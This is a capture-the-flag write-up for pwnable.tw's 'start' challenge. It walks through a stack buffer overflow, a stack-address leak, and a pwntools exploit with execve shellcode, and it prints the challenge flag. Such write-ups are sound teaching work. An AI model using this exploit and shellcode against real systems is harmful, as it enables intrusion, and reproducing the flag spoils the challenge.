Intro
Interesting little online ctf for binary exploitation.
These are some of my notes and solution for challenge 1.
https://pwnable.tw/challenge/#1
For this challenge I decided to explore pwntool’s features a little more. Although my solution doesn’t appear to demonstrate much of pwntools, pwntools was used much more during the exploration phases. Out of the exploration phase I created a script with some of those pwntools features.
What I found useful from pwntools was being able to test a binary, generate a core dump and search the memory of the process. It’s also very useful to debug and test within iPython.
Solution
These are the steps we’ll take to get to the solution.
- Perform static analysis on binary
- Attempt dynamic analysis and look for vulnerability
- Develop exploit
- Capture flag
1. Static analysis
First step was to download the challenge binary from https://pwnable.tw/static/chall/start and disassemble in Binary ninja.

We can see that 3 syscalls are present, write(), read(), and exit().
Nothing related to sockets. Challenge probably has something like netcat providing socket connections to stdin/out.
We can see buffer sizes allocated to each read(), and write() call, 20 for write() and 60 for read().
Let’s assume that any user input to write() with more than 60 bytes might trigger a bof.
Objdump tells us that binary is statically linked.
kali:~$ objdump start -R
start: file format elf32-i386
objdump: start: not a dynamic object
objdump: start: invalid operation
2. Dynamic analysis for vulnerability
We run the binary once.
kali:~$ ./start
Let's start the CTF:AAAA
Nothing special.
Let’s test our assumption regarding bof with 60 bytes.
$ perl -e 'print "A" x 60' | ./start
Let's start the CTF:Segmentation fault
As we assumed.
After further testing, I noticed that payload of less than 60 bytes still caused segfaults. Actually anything above 20 bytes would segfault. This makes sense once we review the code again and notice that on program entry, address 0x8048061, the exit() function address is placed on the stack and will be popped of the stack and placed into eip after ret at 0x804809c. Why . 20 bytes? You can see that the stack is moved 20 bytes after 5 pushes at 0x804806e.
So we have a payload from 20 – 60 bytes to play with.
After running the binary a few times, you’ll also notice that the stack address keeps changing.
To be successful we will need a payload that can either jump to the stack where out shellcode is, or obtain an info leak of the stack address. Because the binary is so small, we don’t have much maneuver, but at the same time, our limited options act as a hint.
Potentially the read() syscall might help with the info leak.
3. Develop Exploit
Let’s crack open a can of pwntools.
I’m going to list the exploit scripts and mention just the interesting points.
https://raw.githubusercontent.com/muttiopenbts/pwnable.tw/master/challenge1_2of3.py
#!/usr/bin/python2 # coding: utf-8 ''' Exploit local binary for bof with stack aslr. ''' from pwn import * binary = './start' context.arch = 'i386' context.os == 'linux' context.os = 'linux' context.log_level = 'DEBUG' context.binary = binary e = ELF(binary) read_func = pack(0x8048087) read_func exit_func = pack(0x804809d) execve = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f" \ "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ''' Running crash script displays cylclic pattern byte count found in eip. $ ./crash.py --binary ./start --min 60 p ... EIP: 0x61616166 Found payload pattern 0x61616166:faaa in register eip at pattern offset 20 of payload. Found pattern in stack through esp:0xffffd2ec->gaaa indirection, at pattern offset 24 ''' buf_start = 20 payload_1 = fit({buf_start:[read_func]}) # Turn off for testing. # io = process(binary,aslr=False) io = process(binary,aslr=True) # Welcome message printed io.recv() # First payload bof write() and payload will jump to read() for sp addres leak io.send(payload_1) # stack info now leaked out = io.recv() # process should be waiting for read() again stack_leak = out[:4] print('Stack leak shows where return ip is stored: {}'.format(hex(unpack(stack_leak)))) eip_1 = pack(0xffffffff) eip_1 = unpack(stack_leak) + buf_start payload_2 = fit({buf_start:[eip_1,execve]},length=60) # Second call to read() and second payload with jump to execve shellcode on stack. io.send(payload_2) #io.corefile #io.recv() io.interactive()
Running the exploit on a local system
kali:$ ./challenge1_2of3.py
[DEBUG] 'start' is statically linked, skipping GOT/PLT symbols
[*] 'start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
[DEBUG] 'start' is statically linked, skipping GOT/PLT symbols
[+] Starting local process './start': pid 48782
[DEBUG] Received 0x14 bytes:
"Let's start the CTF:"
[DEBUG] Sent 0x18 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 87 80 04 08 │eaaa│····││
00000018
[DEBUG] Received 0x14 bytes:
00000000 70 59 98 ff 01 00 00 00 d6 74 98 ff 00 00 00 00 │pY··│····│·t··│····│
00000010 de 74 98 ff │·t··││
00000014
Stack leak shows where return ip is stored: 0xff985970
[DEBUG] Sent 0x3c bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 84 59 98 ff 31 c0 99 50 68 2f 2f 73 │eaaa│·Y··│1··P│h//s│
00000020 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 │hh/b│in··│PS··│····│
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 │maaa│naaa│oaaa││
0000003c
[*] Switching to interactive mode
$ uname -a
[DEBUG] Sent 0x9 bytes:
'uname -a\n'
[DEBUG] Received 0x59 bytes:
'Linux kali 4.17.0-kali3-amd64 #1 SMP Debian 4.17.17-1kali1 (2018-08-21) x86_64 GNU/Linux\n'
Linux kali 4.17.0-kali3-amd64 #1 SMP Debian 4.17.17-1kali1 (2018-08-21) x86_64 GNU/Linux
Interesting points.
payload_1 has the hard coded address for calling the read syscall. This only works because the binary .text section isn’t randomized.
You will notice that the received bytes has the vlaue “70 59 98 ff” which corresponds to the stack. We will use this address in payload_2 and replace the hard coded read syscall with the leak + offset of our shellcode.
I really like pwntools fit() function because it makes building your test payload much more intuitive. Also, generating corefiles in pwntools and reading or searching memory of the process, speeds up development and testing.
4. Capture flag
Pwntools allows us to change the target from process to remote. Once change and we can reuse the exploit script above.
kali:$ ./challenge1_3of3.py
[DEBUG] 'start' is statically linked, skipping GOT/PLT symbols
[*] 'start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
[DEBUG] 'start' is statically linked, skipping GOT/PLT symbols
[+] Opening connection to chall.pwnable.tw on port 10000: Done
[DEBUG] Received 0x14 bytes:
"Let's start the CTF:"
[DEBUG] Sent 0x18 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 87 80 04 08 │eaaa│····││
00000018
[DEBUG] Received 0x14 bytes:
00000000 10 df f8 ff 01 00 00 00 36 ff f8 ff 00 00 00 00 │····│····│6···│····│
00000010 48 ff f8 ff │H···││
00000014
Stack leak shows where return ip is stored: 0xfff8df10
[DEBUG] Sent 0x3c bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 24 df f8 ff 31 c0 99 50 68 2f 2f 73 │eaaa│$···│1··P│h//s│
00000020 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 │hh/b│in··│PS··│····│
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 │maaa│naaa│oaaa││
0000003c
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x33 bytes:
'uid=1000(start) gid=1000(start) groups=1000(start)\n'
uid=1000(start) gid=1000(start) groups=1000(start)
$ cat /home/start/flag
[DEBUG] Sent 0x15 bytes:
'cat /home/start/flag\n'
[DEBUG] Received 0x1f bytes:
'FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}\n'
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
References
Scripts on github – https://github.com/muttiopenbts/pwnable.tw
Pwntools – https://github.com/Gallopsled/pwntools
Video demonstrating some of gef and Binary Ninja features – https://blahcat.github.io/static/bhusa_2017/BH-USA-17-Alladoum-GDB-Enhanced-Features.pdf
Cool Binary Ninja plugin for Gef interaction – https://github.com/hugsy/gef/tree/master/scripts
Emulate instructions in Gef using unicorn – https://gef.readthedocs.io/en/latest/commands/unicorn-emulate/